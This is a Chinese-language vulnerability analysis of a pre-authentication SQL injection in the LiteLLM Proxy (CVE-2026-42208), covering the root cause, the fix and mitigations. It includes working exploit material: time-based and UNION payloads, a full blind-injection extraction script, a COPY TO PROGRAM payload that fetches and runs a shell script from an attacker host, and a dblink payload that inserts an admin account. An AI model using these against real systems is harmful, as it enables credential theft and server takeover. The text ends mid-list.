一、漏洞概述
1.1 基本信息
| 项目 | 详情 |
|---|---|
| CVE 编号 | CVE-2026-42208 |
| GHSA 编号 | GHSA-r75f-5x8p-qvmc |
| CWE 分类 | CWE-89(SQL 命令中特殊元素的不当中和) |
| CVSS 3.0 评分 | 9.8(极危) |
| CVSS 4.0 评分 | 9.3(Critical) |
| 受影响版本 | 1.81.16 ≤ LiteLLM < 1.83.7 |
| 修复版本 | LiteLLM ≥ 1.83.7 |
| 漏洞类型 | 预认证 SQL 注入(Pre-Authentication SQL Injection) |
| 注入机制 | Python f-string 字符串拼接 |
| 披露时间 | 2026 年 7 月 1 日(网宿安全演武实验室分析) |
| PoC 状态 | 已在互联网公开 |
1.2 漏洞背景
LiteLLM 是一个开源的大语言模型代理网关(GitHub 46.5k+ Stars),支持统一接口调用 OpenAI、Anthropic、Azure 等 100+ LLM 提供商。其 Proxy 模式使用 PostgreSQL 数据库存储 API Key、团队配置、预算限额及所有上游 LLM 提供商凭据等高度敏感数据。
CVE-2026-42208 存在于 LiteLLM Proxy 的 API Key 认证流程中。攻击者无需任何有效凭据,仅通过在 Authorization 请求头中发送精心构造的 SQL 注入 payload,即可触发注入,读取甚至篡改代理数据库中的全部数据——包括所有 LLM 提供商的 API Key。由于该漏洞位于认证流程本身,因此攻击发生时目标尚未通过认证,属于典型的预认证(Pre-Auth)漏洞,攻击面极大。
1.3 核心危害
- 零凭据利用:无需任何有效 Token 即可触发
- 全量凭据泄露:可读取数据库中存储的所有 LLM 提供商 API Key(OpenAI、Anthropic、Azure、Gemini 等 100+ 提供商)
- 用户数据泄露:可提取用户认证 Token、对话消费日志、团队配置
- 潜在 RCE:在特定 PostgreSQL 配置下可升级至远程代码执行
二、LiteLLM Proxy 架构基础
2.1 统一 LLM 代理网关定位
LiteLLM Proxy 作为企业内部所有 LLM 请求的统一入口,其核心职责包括:
- 统一接口:将 100+ LLM 提供商的异构 API 统一为 OpenAI 兼容格式
- 认证授权:验证调用方身份,管理虚拟 API Key(
sk-前缀) - 请求路由:根据模型名称路由到对应的上游 LLM 提供商
- 凭据管理:在数据库中集中存储所有上游提供商的真实 API Key
- 预算与计费:跟踪 Token 消费、团队预算限额
2.2 架构图
┌─────────────────────────────────────────────────┐
│ LiteLLM Proxy (FastAPI) │
│ │
HTTP 请求 │ ┌──────────┐ ┌──────────┐ ┌──────────────┐ │
┌──────────────┐ │ │ 认证中间件 │→│ 路由引擎 │→│ 上游请求转发 │ │
│ POST │ │ │ API Key │ │ Model │ │ Provider │ │
│ /v1/chat/ │─────────▶│ │ 验证 │ │ Mapping │ │ Adapter │ │
│ completions │ │ └────┬─────┘ └──────────┘ └──────┬───────┘ │
│ │ │ │ │ │
│ Bearer sk-xx │ │ │ SHA256 哈希 │ API Key │
└──────────────┘ │ ▼ │ 注入 │
│ ┌─────────────────────────────┐ │ │
│ │ PostgreSQL 数据库 │ │ │
│ │ ┌───────────────────────┐ │ │ │
│ │ │ LiteLLM_Verification │ │ │ │
│ │ │ Token (用户Token) │ │ │ │
│ │ ├───────────────────────┤ │ │ │
│ │ │ LiteLLM_TeamTable │ │ │ │
│ │ │ (团队配置/预算) │ │ │ │
│ │ ├───────────────────────┤ │ │ │
│ │ │ 上游提供商 API Key │ │─────┘ │
│ │ │ (OpenAI/Anthropic...) │ │ │
│ │ └───────────────────────┘ │ │
│ └─────────────────────────────┘ │
└─────────────────────────────────────────────────┘
│
▼
┌─────────────────────────────────────┐
│ 上游 LLM 提供商 API 集群 │
│ OpenAI | Anthropic | Azure | Gemini │
└─────────────────────────────────────┘
2.3 认证流程概述
LiteLLM Proxy 启用 API Key 认证后,所有 LLM API 路由(如 /chat/completions、/v1/chat/completions)都需要在请求头中携带 Authorization: Bearer sk-xxx 格式的 Token。认证的核心逻辑是:将用户提交的明文 Token 进行 SHA256 哈希后,用哈希值在数据库中查询匹配记录。
2.4 关键数据表
| 数据表 | 存储内容 | 敏感程度 |
|---|---|---|
LiteLLM_VerificationToken |
用户虚拟 API Key(SHA256 哈希存储)、预算、TPM/RPM 限制 | 极高 |
LiteLLM_TeamTable |
团队配置、团队级预算、模型权限 | 高 |
LiteLLM_UserTable |
用户邮箱、密码哈希、角色 | 极高 |
| 上游 Provider Credentials | OpenAI/Anthropic/Azure 等真实 API Key | 极高 |
LiteLLM_SpendLogs |
Token 消费日志、提示词使用记录 | 中 |
三、漏洞根因深度分析
3.1 正常认证路径(安全)
当用户使用合法的 sk- 前缀 Token 时,认证流程是安全的:
litellm/proxy/auth/user_api_key_auth.py
→ _get_bearer_token_or_received_api_key() # 提取 Bearer Token
→ assert api_key.startswith("sk-") # 断言 sk- 前缀
→ hash_token(api_key) # SHA256 哈希
litellm/proxy/auth/auth_checks.py
→ get_key_object(hashed_token=hash_token(api_key))
→ _fetch_key_object_from_db_with_reconnect()
→ prisma_client.get_data(token=hashed_token, table_name="combined_view")
安全原因:SHA256 哈希输出仅为 [0-9a-f] 字符,完全不含 SQL 元字符(如单引号 '、分号 ;),因此即使底层使用字符串拼接,也无法构造 SQL 注入 payload。
# 安全路径示例
import hashlib
api_key = "sk-xxxxxxxxxxxxxxxxxxxx"
hashed_token = hashlib.sha256(api_key.encode()).hexdigest()
# hashed_token = "a1b2c3d4e5f6..." 仅含 0-9a-f,无注入风险
# 正常路径下使用 Prisma ORM 参数化查询
# prisma_client.get_data(token=hashed_token) -- 安全
3.2 漏洞路径(认证失败回调)
漏洞并非存在于主认证流程,而是隐藏在认证失败的错误处理回调路径中。当发送的 Token 不以 sk- 开头时(例如攻击者构造以单引号 ' 开头的 payload),断言失败,程序进入异常处理回调链:
HTTP 请求: Authorization: Bearer <恶意payload>
1. litellm/proxy/auth/user_api_key_auth.py
→ _get_bearer_token_or_received_api_key() # 提取 Bearer Token
→ assert api_key.startswith("sk-") # 断言失败!(payload 以 ' 开头)
2. litellm/proxy/auth/user_api_key_auth.py
→ UserAPIKeyAuthExceptionHandler._handle_authentication_error(api_key=api_key)
# 原始 payload 作为 api_key 传入错误处理器
3. litellm/proxy/auth/auth_exception_handler.py
→ post_call_failure_hook(user_api_key_dict=UserAPIKeyAuth(api_key=api_key))
# 原始 payload 被封装进 user_api_key_dict
4. litellm/proxy/utils.py
→ post_call_failure_hook() # 错误回调链入口
→ [回调链] 再次调用 get_key_object(hashed_token=RAW_PAYLOAD)
# 注意:此处传入的是原始未哈希的 payload!
5. litellm/proxy/auth/auth_checks.py
→ get_key_object()
→ _fetch_key_object_from_db_with_reconnect()
→ prisma_client.get_data(token=RAW_PAYLOAD, table_name="combined_view")
3.3 关键函数 _hash_token_if_needed()(漏洞核心开关)
这是整个漏洞的核心开关函数,位于 litellm/proxy/utils.py:
def _hash_token_if_needed(token: str) -> str:
"""
Hash the token if it's a string and starts with "sk-"
Else return the token as is
"""
if token.startswith("sk-"):
return hash_token(token=token)
else:
return token # ← 非 sk- 开头的 token 原样返回,不做任何处理!
设计意图:该函数的本意是兼容已经哈希过的 token(SHA256 hex 字符串不以 sk- 开头)。在错误处理回调链中,get_key_object() 可能接收到已经哈希过的 token,因此需要判断是否需要再次哈希。
致命缺陷:这个条件分支同时让攻击者构造的恶意输入畅通无阻地流入后续的 f-string SQL 拼接。攻击者只需确保 payload 不以 sk- 开头(例如以单引号 ' 开头),即可绕过哈希处理,原样注入到 SQL 查询中。
3.4 f-string 拼接注入点
最终注入点位于 litellm/proxy/utils.py 的 get_data() 函数中。为了构建一个包含用户 Token、团队、项目、组织、预算限额等信息的"组合视图"(combined_view),开发者由于所需 LEFT JOIN 操作的复杂性,选择使用 db.query_raw 原始 SQL 而非 ORM 标准函数:
# 漏洞代码(litellm/proxy/utils.py - get_data())
elif table_name == "combined_view":
if query_type == "find_unique":
# 使用 f-string 直接拼接 token 到 SQL 语句中
sql_query = f"""
SELECT
v.*,
t.spend AS team_spend,
t.max_budget AS team_max_budget,
t.soft_budget AS team_soft_budget,
t.tpm_limit AS team_tpm_limit,
t.rpm_limit AS team_rpm_limit,
t.models AS team_models,
-- [多个其他 SELECT 字段和 JOIN 操作]
FROM "LiteLLM_VerificationToken" AS v
LEFT JOIN "LiteLLM_TeamTable" AS t ON v.team_id = t.team_id
-- [其他 LEFT JOIN...]
WHERE v.token = '{token}' # ← f-string 拼接,token 未经哈希!
"""
# 直接执行拼接后的 SQL
response = await self._query_first_with_cached_plan_fallback(sql_query)
注入原理:通过 Python f-string(f"""...WHERE v.token = '{token}'"""),{token} 变量被直接拼接进 SQL 语句文本。由于没有使用参数化绑定(如 $1 占位符),任何包含单引号(')的用户可控字符串都能突破 SQL 字符串字面量边界,导致 SQL 注入。
3.5 漏洞触发时的实际执行 SQL
当攻击者发送 Authorization: Bearer ' OR (SELECT pg_sleep(3)) IS NULL -- 时:
-- 数据库实际执行的 SQL:
SELECT v.*, t.spend AS team_spend, t.max_budget AS team_max_budget, ...
FROM "LiteLLM_VerificationToken" AS v
LEFT JOIN "LiteLLM_TeamTable" AS t ON v.team_id = t.team_id
WHERE v.token = '' OR (SELECT pg_sleep(3)) IS NULL --'
-- ↑ 攻击者 payload 突破引号边界 ↑ 注释掉尾部引号
3.6 根本原因总结
| 根因 | 描述 | 缺陷类型 |
|---|---|---|
| 哈希保护被绕过 | _hash_token_if_needed() 对非 sk- 前缀的 token 原样返回 |
安全检查仅在主路径 |
| f-string 拼接 SQL | get_data() 使用 f-string 拼接而非参数化查询 |
CWE-89 SQL 注入 |
| 错误处理路径不安全 | 认证失败回调链再次调用 get_key_object(),绕过了主路径的哈希保护 |
异常处理路径安全缺陷 |
| 输入未校验 | Bearer Token 格式未做严格校验(未强制要求 sk- 前缀即拒绝) |
输入验证缺失 |
核心教训:这是一个典型的"安全检查仅在主路径"设计缺陷。开发者认为 SHA256 哈希已经保证了安全,却忽略了认证失败回调路径会绕过哈希直接使用原始输入。
四、完整污点传播链
4.1 污点流向 ASCII 图
┌─────────────────────────────────────────────────────────────────────────┐
│ HTTP 请求入口 │
│ Authorization: Bearer '<SQL_PAYLOAD> │
└──────────────────────────────┬──────────────────────────────────────────┘
│
▼
┌─────────────────────────────────────────────────────────────────────────┐
│ [1] _get_bearer_token_or_received_api_key() │
│ 文件: litellm/proxy/auth/user_api_key_auth.py │
│ 动作: 从 Authorization 头提取 Bearer Token │
│ 污点状态: 原始 payload 完整保留 │
└──────────────────────────────┬──────────────────────────────────────────┘
│
▼
┌─────────────────────────────────────────────────────────────────────────┐
│ [2] assert api_key.startswith("sk-") │
│ 文件: litellm/proxy/auth/user_api_key_auth.py │
│ 动作: 断言失败(payload 以 ' 开头,不满足 sk- 前缀) │
│ 关键转折: 断言失败 → 触发 AssertionError → 进入异常处理 │
└──────────────────────────────┬──────────────────────────────────────────┘
│ AssertionError
▼
┌─────────────────────────────────────────────────────────────────────────┐
│ [3] UserAPIKeyAuthExceptionHandler._handle_authentication_error() │
│ 文件: litellm/proxy/auth/user_api_key_auth.py │
│ 动作: 捕获异常,原始 payload 作为 api_key 参数传入 │
│ 污点状态: 原始 payload 仍完整保留,未做任何过滤 │
└──────────────────────────────┬──────────────────────────────────────────┘
│
▼
┌─────────────────────────────────────────────────────────────────────────┐
│ [4] post_call_failure_hook() │
│ 文件: litellm/proxy/auth/auth_exception_handler.py │
│ 动作: 原始 payload 封装进 UserAPIKeyAuth(api_key=payload) 对象 │
│ 触发: 注册的失败回调钩子被依次执行 │
└──────────────────────────────┬──────────────────────────────────────────┘
│ 回调链
▼
┌─────────────────────────────────────────────────────────────────────────┐
│ [5] get_key_object(hashed_token=RAW_PAYLOAD) │
│ 文件: litellm/proxy/utils.py → post_call_failure_hook() │
│ 动作: 回调链中再次调用 get_key_object,传入的是原始 payload │
│ ⚠ 关键:此处绕过了主路径的 hash_token() 调用 │
└──────────────────────────────┬──────────────────────────────────────────┘
│
▼
┌─────────────────────────────────────────────────────────────────────────┐
│ [6] _fetch_key_object_from_db_with_reconnect() │
│ 文件: litellm/proxy/auth/auth_checks.py │
│ 动作: 调用 prisma_client.get_data(token=RAW_PAYLOAD) │
└──────────────────────────────┬──────────────────────────────────────────┘
│
▼
┌─────────────────────────────────────────────────────────────────────────┐
│ [7] get_data() → _hash_token_if_needed(token) │
│ 文件: litellm/proxy/utils.py │
│ 动作: 检查 token 是否以 "sk-" 开头 │
│ 结果: payload 以 ' 开头 → 条件不满足 → 原样返回 token │
│ ⚠ 哈希保护被完全绕过! │
└──────────────────────────────┬──────────────────────────────────────────┘
│ 原始 payload
▼
┌─────────────────────────────────────────────────────────────────────────┐
│ [8] sql_query = f"""...WHERE v.token = '{token}'""" │
│ 文件: litellm/proxy/utils.py - get_data() │
│ 动作: 原始 payload 通过 f-string 拼接进 SQL 语句 │
│ 污点状态: SQL 语句文本被污染 │
└──────────────────────────────┬──────────────────────────────────────────┘
│ 拼接后的 SQL
▼
┌─────────────────────────────────────────────────────────────────────────┐
│ [9] _query_first_with_cached_plan_fallback(sql_query) │
│ → self.db.query_first(query=sql_query) │
│ 动作: 直接执行被污染的 SQL 语句 │
│ 结果: ★ SQL 注入完成!★ │
└─────────────────────────────────────────────────────────────────────────┘
4.2 关键环节详解
4.2.1 断言失败如何进入回调链
在 user_api_key_auth.py 中,主认证流程使用 assert api_key.startswith("sk-") 进行前缀校验。当 payload 以单引号 ' 开头时,该断言抛出 AssertionError。该异常被 UserAPIKeyAuthExceptionHandler 捕获,调用 _handle_authentication_error(api_key=api_key),其中 api_key 参数携带的是未经任何处理的原始 payload。
4.2.2 回调链如何再次调用 get_key_object
在错误处理流程中,post_call_failure_hook() 会被触发。LiteLLM 的设计允许在认证失败时执行自定义回调钩子,这些钩子会尝试通过 get_key_object() 查询数据库以获取更多信息用于错误日志记录或审计。这个看似无害的"再次查询"操作,正是将原始 payload 传递到数据库层的桥梁。
4.2.3 _hash_token_if_needed() 的条件分支逻辑
def _hash_token_if_needed(token: str) -> str:
if token.startswith("sk-"):
return hash_token(token=token) # 路径A:哈希处理(安全)
else:
return token # 路径B:原样返回(漏洞!)
该函数存在两条路径:
- 路径 A(安全):token 以
sk-开头 → SHA256 哈希 → 输出仅含[0-9a-f] - 路径 B(漏洞):token 不以
sk-开头 → 原样返回 → 保留所有 SQL 元字符
攻击者的 payload 以 ' 开头,必然走路径 B。
4.2.4 f-string 拼接的注入原理
# Python f-string 在运行时将变量值直接插入字符串文本
token = "' OR 1=1--"
sql_query = f"SELECT * FROM keys WHERE v.token = '{token}'"
# 结果: "SELECT * FROM keys WHERE v.token = '' OR 1=1--'"
# ↑ 闭合前引号 ↑ 注入条件 ↑ 注释后引号
f-string 是 Python 3.6+ 的字符串格式化语法,它在运行时将 {token} 替换为变量的字符串值。这与参数化查询有本质区别:参数化查询中,参数值永远不会被解析为 SQL 语法的一部分,而 f-string 拼接后,变量值已经成为 SQL 语句文本的一部分,会被数据库引擎完整解析。
五、PoC 复现
5.1 环境搭建
使用 Docker Compose 部署受影响版本的 LiteLLM 及 PostgreSQL 后端:
# docker-compose.yml
services:
db:
image: postgres:16
environment:
POSTGRES_USER: llmproxy
POSTGRES_PASSWORD: dbpassword9090
POSTGRES_DB: litellm
ports:
- "5432:5432"
litellm:
image: ghcr.io/berriai/litellm:main-v1.83.6-nightly
ports:
- "4000:4000"
environment:
- DATABASE_URL=postgresql://llmproxy:dbpassword9090@db:5432/litellm
depends_on:
- db
command: ["--config", "/app/config.yaml"]
# 启动环境
docker compose up -d
# 验证服务可用
curl http://127.0.0.1:4000/health/readiness
5.2 攻击请求构造
5.2.1 时间盲注验证(确认注入点)
POST /v1/chat/completions HTTP/1.1
Host: 127.0.0.1:4000
Authorization: Bearer ' OR (SELECT pg_sleep(3)) IS NULL --
Content-Type: application/json
{"model": "fake", "messages": [{"role": "user", "content": "test"}]}
数据库实际执行:
WHERE v.token = '' OR (SELECT pg_sleep(3)) IS NULL --'
当服务器响应延迟约 3 秒时,确认注入点存在。
5.2.2 UNION 注入提取数据
POST /v1/chat/completions HTTP/1.1
Host: target:4000
Authorization: Bearer ' UNION SELECT api_key,1,1,1,1,1,1,1,1,1 FROM litellm_keys--
Content-Type: application/json
{"model": "gpt-4", "messages": [{"role": "user", "content": "test"}]}
5.3 攻击变体
5.3.1 时间盲注(Time-Based Blind)
由于注入查询最终返回的 Token 对象无法通过认证(返回 401 Unauthorized),攻击者无法直接从 HTTP 响应中读取数据库输出,必须依赖布尔盲注 + 时间侧信道:
# 时间盲注 payload:逐字符提取数据
payload = "' OR (ASCII(SUBSTRING((SELECT token FROM \"LiteLLM_VerificationToken\" LIMIT 1), 1, 1)) > 64 AND (SELECT pg_sleep(2)) IS NOT NULL) --"
5.3.2 二分搜索数据提取 PoC
以下是完整的盲注数据提取脚本,使用二分搜索算法逐字符提取任意表中的数据:
import argparse
import json
import sys
import time
import urllib.request
def test_payload(url, token, sleep_time):
"""发送注入 payload 并测量响应时间"""
body = json.dumps({
"model": "fake",
"messages": [{"role": "user", "content": "x"}]
}).encode()
req = urllib.request.Request(
url, data=body, method="POST",
headers={"Authorization": f"Bearer {token}", "Content-Type": "application/json"}
)
start = time.time()
try:
urllib.request.urlopen(req, timeout=sleep_time + 1)
except Exception:
pass
return time.time() - start
def extract_string(url, query, sleep_time=1.0):
"""使用二分搜索逐字符提取查询结果"""
extracted = ""
idx = 1
while True:
# 检查字符串是否已结束
check_end = (
f"' OR (LENGTH(({query})) < {idx} "
f"AND (SELECT pg_sleep({sleep_time})) IS NOT NULL) --"
)
if test_payload(url, check_end, sleep_time) >= sleep_time:
break
# 二分搜索当前字符的 ASCII 值
low, high = 32, 126
while low <= high:
mid = (low + high) // 2
payload = (
f"' OR (ASCII(SUBSTRING(({query}), {idx}, 1)) > {mid} "
f"AND (SELECT pg_sleep({sleep_time})) IS NOT NULL) --"
)
if test_payload(url, payload, sleep_time) >= sleep_time:
low = mid + 1
else:
high = mid - 1
extracted += chr(low)
sys.stdout.write(chr(low))
sys.stdout.flush()
idx += 1
print()
return extracted
if __name__ == "__main__":
parser = argparse.ArgumentParser(description="LiteLLM Blind SQLi Data Extractor")
parser.add_argument("--url", default="http://127.0.0.1:4000/v1/chat/completions")
parser.add_argument("--table", default="LiteLLM_VerificationToken",
help="Target table to extract from")
parser.add_argument("--column", default="token", help="Column to extract")
parser.add_argument("--row", type=int, default=0, help="Row index (OFFSET)")
args = parser.parse_args()
query = f'SELECT {args.column} FROM "{args.table}" LIMIT 1 OFFSET {args.row}'
print(f"[*] Extracting: {query}")
extract_string(args.url, query)
# 提取用户邮箱
python exploit.py --table LiteLLM_UserTable --column user_email --row 0
# 提取 API Key
python exploit.py --table LiteLLM_VerificationToken --column token --row 0
5.3.3 布尔盲注
通过认证成功(200)/ 失败(401)的 HTTP 状态码差异作为布尔判据:
# 布尔盲注 payload
payload_true = "' OR (1=1) --" # 条件为真 → 可能返回不同错误
payload_false = "' OR (1=2) --" # 条件为假 → 认证失败
5.3.4 PostgreSQL 特性利用
| 利用方式 | Payload 示例 | 说明 |
|---|---|---|
| 时间延迟 | ' OR (SELECT pg_sleep(5)) IS NULL -- |
强制延迟 5 秒 |
| 字符串截取 | SUBSTRING((SELECT ...), pos, 1) |
逐字符提取 |
| ASCII 比较 | ASCII(SUBSTRING(...)) > N |
二分搜索字符值 |
| 长度判断 | LENGTH((SELECT ...)) < N |
判断字符串长度 |
5.4 验证方法
- 响应延迟验证:发送
pg_sleep(3)payload,观察响应时间是否延迟约 3 秒 - 数据提取验证:使用二分搜索脚本提取已知数据(如测试时插入的邮箱),比对结果
- 日志审计验证:检查
LiteLLM_SpendLogs表中是否记录了原始 payload(LiteLLM 会将无效 Key 的原始值记入消费日志)
六、危害分析
6.1 直接危害
- 读取代理数据库全部数据:通过盲注可逐字符提取任意表、任意列的数据
- 窃取全部 LLM 提供商 API Key:OpenAI、Anthropic、Azure、Gemini 等 100+ 提供商的凭据被窃取
- 窃取用户认证 Token:
LiteLLM_VerificationToken表中的哈希 Token 被提取 - 窃取用户敏感信息:
LiteLLM_UserTable中的邮箱、密码哈希、角色信息 - 篡改数据库内容:在特定配置下可执行 INSERT/UPDATE 操作
6.2 间接危害
- API Key 滥用产生巨额费用:使用窃取的上游 API Key 直接调用 LLM 提供商,绕过 LiteLLM 的预算控制
- 访问其他用户对话历史:
LiteLLM_SpendLogs表记录了详细的提示词使用记录 - 请求路由劫持:篡改路由配置,将 LLM 请求重定向到攻击者控制的服务器
- 管理员接管:通过
dblink绕过 ORM 限制插入管理员账户,接管 LiteLLM Dashboard
6.3 高级利用:从数据泄露到 RCE
6.3.1 COPY TO PROGRAM 实现 RCE
当 PostgreSQL 以 superuser(如 postgres)运行时,攻击者可利用 COPY TO PROGRAM 实现远程代码执行:
' OR (SELECT COPY (SELECT 'id') TO PROGRAM 'curl http://attacker/shell.sh|bash') IS NOT NULL) --
或使用 pg_read_file() 读取服务器敏感文件(SSH 密钥、环境变量)。
6.3.2 dblink 绕过 ORM 堆叠查询限制
Prisma ORM 驱动会阻止堆叠查询(; 分隔的多语句),但若 PostgreSQL 启用了 dblink 扩展,攻击者可在 SELECT 语句中注入 dblink_exec() 打开独立连接执行写操作:
' OR (SELECT dblink_exec(
'dbname=litellm',
'INSERT INTO "LiteLLM_UserTable" (user_email, password, user_role)
VALUES (''hacked@lab.local'', ''scrypt:...'', ''proxy_admin'')'
)) IS NOT NULL --
这将一个只读数据泄露漏洞升级为完整的管理员接管。
6.4 影响范围表
| 危害等级 | 影响范围 | 具体后果 | 利用难度 |
|---|---|---|---|
| 极危 | LLM API Key 泄露 | 100+ 提供商凭据被窃取,可直接调用上游 API | 低(盲注即可) |
| 极危 | 用户凭据泄露 | Token 哈希、密码哈希被提取,可冒充用户 | 低 |
| 高危 | 消费日志泄露 | 对话提示词、Token 使用记录被读取 | 低 |
| 高危 | 管理员接管 | 通过 dblink 插入管理员账户,接管 Dashboard | 中(需 dblink) |
| 高危 | 远程代码执行 | 通过 COPY TO PROGRAM 在数据库服务器执行命令 | 中(需 superuser) |
| 中危 | 配置篡改 | 请求路由劫持、模型映射篡改 | 中 |
| 低危 | 审计日志破坏 | SpendLogs 数据被篡改或清除 | 中 |
七、修复方案与防御
7.1 官方修复
升级至 LiteLLM ≥ 1.83.7。核心改动是将 f-string 拼接替换为参数化查询:
# 修复后代码(LiteLLM 1.83.7+)
# litellm/proxy/utils.py - get_data()
elif table_name == "combined_view":
if query_type == "find_unique":
# 使用参数化绑定 $1,而非 f-string 拼接
sql_query = """
SELECT
v.*,
t.spend AS team_spend,
t.max_budget AS team_max_budget,
t.soft_budget AS team_soft_budget,
t.tpm_limit AS team_tpm_limit,
t.rpm_limit AS team_rpm_limit,
t.models AS team_models
FROM "LiteLLM_VerificationToken" AS v
LEFT JOIN "LiteLLM_TeamTable" AS t ON v.team_id = t.team_id
WHERE v.token = $1 -- ← 参数化占位符
"""
# token 作为绑定参数传入,而非拼入 SQL 文本
response = await self._query_first_with_cached_plan_fallback(
sql_query, token -- ← 参数化绑定
)
7.2 修复原理分析
┌─────────────────────────────────────────────────────────────────────┐
│ 修复前后对比 │
├──────────────────────┬──────────────────────────────────────────────┤
│ 修复前(漏洞) │ 修复后(安全) │
├──────────────────────┼──────────────────────────────────────────────┤
│ f"""...WHERE │ """...WHERE │
│ v.token='{token}'""" │ v.token = $1""" │
│ │ │
│ token 值成为 SQL │ token 值作为绑定参数传递 │
│ 文本的一部分 │ 数据库驱动将其视为纯字符串字面量 │
│ │ │
│ 单引号可突破边界 │ 单引号被自动转义/隔离 │
│ → SQL 注入 │ → 无法注入 │
└──────────────────────┴──────────────────────────────────────────────┘
即使 _hash_token_if_needed() 仍对非 sk- 前缀的 token 原样返回,参数化查询由 PostgreSQL 驱动安全处理,攻击者的 payload 永远不会被解析为 SQL 语法,彻底消除注入风险。
7.3 临时缓解措施
若无法立即升级,可设置 disable_error_logs: true 切断攻击路径:
# litellm_config.yaml
general_settings:
disable_error_logs: true # 禁用错误处理路径,移除未认证输入到达漏洞查询的路径
该配置移除了错误处理回调路径(即漏洞触发的路径),使未认证输入无法到达 get_data() 中的漏洞 SQL 查询,从而中和攻击向量。
7.4 WAF 防护
网宿全站防护-WAF 已支持对该漏洞利用攻击的防护,防护策略包括:
- 拦截
Authorization头中的 SQL 关键字(UNION、SELECT、pg_sleep、OR、--等) - 检测异常长的 Bearer Token(正常 Token 为固定长度的哈希值或
sk-前缀字符串) - 检测 Bearer Token 中的 SQL 元字符(单引号、分号、注释符)
7.5 凭据轮换
若已部署受影响版本,即使已升级,也应执行以下操作:
- 立即轮换所有 LLM 提供商 API Key(OpenAI、Anthropic、Azure 等)
- 轮换 LiteLLM 虚拟 API Key(所有
sk-前缀的用户 Token) - 检查数据库访问日志中的异常查询(
pg_sleep、SUBSTRING、dblink等) - 审计
LiteLLM_SpendLogs中api_key字段是否出现原始 SQL payload
7.6 深度防御建议
| 防御层 | 措施 | 说明 |
|---|---|---|
| 代码层 | 所有数据库操作使用参数化查询 | ORM 或原生参数绑定($1),禁止 f-string/%/+ 拼接 SQL |
| 输入层 | Bearer Token 格式校验 | 强制 sk- 前缀,非匹配格式直接拒绝(400 Bad Request) |
| 架构层 | 错误处理路径安全审计 | 异常回调链需与主路径同等安全,不应传递未过滤输入 |
| 存储层 | API Key 加密存储 | 上游提供商凭据应加密存储,非明文 |
| 数据库层 | 最小权限原则 | 数据库用户禁止 superuser,禁用 COPY、dblink 等危险功能 |
| 监控层 | 异常查询检测 | 监控 pg_sleep、SUBSTRING、UNION 等注入特征 |
八、LLM 基础设施安全启示
8.1 LLM 代理网关的攻击面
LLM 代理网关作为所有 LLM 请求的中枢节点,是高价值攻击目标:
┌───────────────────────────────────────────────────────────┐
│ LLM 代理网关攻击面全景 │
├───────────────┬───────────────────────────────────────────┤
│ 攻击向量 │ 风险 │
├───────────────┼───────────────────────────────────────────┤
│ 认证机制 │ 预认证漏洞 → 无凭据访问(本 CVE) │
│ 凭据存储 │ API Key 集中存储 → 单点泄露全量凭据 │
│ 请求路由 │ 路由篡改 → 请求劫持到恶意 LLM │
│ 预算/计费 │ 计费绕过 → 免费使用上游 API │
│ Prompt 处理 │ Prompt 注入 → 间接攻击上游模型 │
│ 日志记录 │ 对话历史泄露 → 隐私违规 │
│ 插件/MCP 集成 │ 插件漏洞 → 横向移动 │
└───────────────┴───────────────────────────────────────────┘
LLM 代理网关集中存储所有上游提供商凭据、管理用户认证、控制请求路由,一旦被攻破,影响范围远超单个应用漏洞——它意味着企业整个 AI 基础设施的沦陷。
8.2 f-string 拼接 vs 参数化查询
Python 中使用 f-string 拼接 SQL 是常见的安全反模式:
| 对比项 | f-string 拼接(危险) | 参数化查询(安全) |
|---|---|---|
| 语法 | f"WHERE v = '{token}'" |
"WHERE v = $1" + params=[token] |
| 原理 | 变量值成为 SQL 文本的一部分 | 变量值作为独立参数传递给驱动 |
| 单引号处理 | 破坏字符串边界 → 注入 | 自动转义/隔离 → 安全 |
| 性能 | 每次生成不同 SQL → 无法缓存执行计划 | 相同 SQL 结构 → 可缓存执行计划 |
| 审计 | 难以区分用户输入与 SQL 结构 | 参数与 SQL 结构明确分离 |
| ORM 兼容 | 绕过 ORM 安全机制 | 与 ORM 参数绑定一致 |
# ❌ 危险:f-string 拼接
sql = f"SELECT * FROM users WHERE id = '{user_input}'"
cursor.execute(sql)
# ❌ 危险:% 格式化
sql = "SELECT * FROM users WHERE id = '%s'" % user_input
cursor.execute(sql)
# ❌ 危险:+ 拼接
sql = "SELECT * FROM users WHERE id = '" + user_input + "'"
cursor.execute(sql)
# ✅ 安全:参数化查询
sql = "SELECT * FROM users WHERE id = $1"
cursor.execute(sql, (user_input,))
# ✅ 安全:ORM 参数绑定
User.objects.filter(id=user_input)
8.3 错误处理路径安全
"安全检查仅在主路径"是本次漏洞最深刻的设计教训:
┌──────────────────────────────────────────────────────────────┐
│ 主路径 vs 错误处理路径安全模型 │
├──────────────────────────────────────────────────────────────┤
│ │
│ 用户输入 │
│ │ │
│ ├──▶ [主路径] ──▶ 安全检查 ──▶ 哈希/过滤 ──▶ 数据库 │
│ │ ✅ 安全 │
│ │ │
│ └──▶ [错误处理路径] ──▶ 异常回调 ──▶ 数据库 │
│ ⚠ 缺少同等安全检查! │
│ (本 CVE 的核心问题) │
│ │
└──────────────────────────────────────────────────────────────┘
安全代码审计清单
8.4 与其他 LLM 基础设施漏洞对比
| 维度 | LiteLLM CVE-2026-42208 | SiYuan CVE-2026-66012 | 传统 Web SQLi |
|---|---|---|---|
| 漏洞类型 | 预认证 SQL 注入 | MCP 接口缺失授权 | SQL 注入 |
| 根因 | f-string 拼接 + 错误路径绕过 | 接口未鉴权 | 字符串拼接 |
| 认证要求 | 无需认证(预认证) | 无需认证 | 视场景而定 |
| 影响资产 | LLM 提供商 API Key | 知识库/管理员权限 | 业务数据 |
| CVSS | 9.8 | 高危 | 视场景而定 |
| 利用难度 | 低(盲注即可) | 低(直接访问接口) | 中 |
| 危害特征 | 凭据全量泄露 + 潜在 RCE | 数据泄露 + RCE | 数据泄露 |
| 修复方式 | 参数化查询 | 添加授权校验 | 参数化查询 |
| 启示 | 错误路径安全 + 参数化 | 接口默认拒绝 | 参数化查询 |
8.5 总结
CVE-2026-42208 是一个极具教育意义的漏洞,它完美展示了三个安全原则被违反后的灾难性后果:
-
参数化查询是不可妥协的底线:无论输入是否经过哈希/过滤,数据库操作都必须使用参数化查询。f-string 拼接 SQL 是 Python 中最常见的安全反模式之一。
-
安全检查必须覆盖所有路径:主路径的 SHA256 哈希保护看似完善,但错误处理回调路径的绕过使一切防护形同虚设。异常处理路径必须与主路径接受同等强度的安全审查。
-
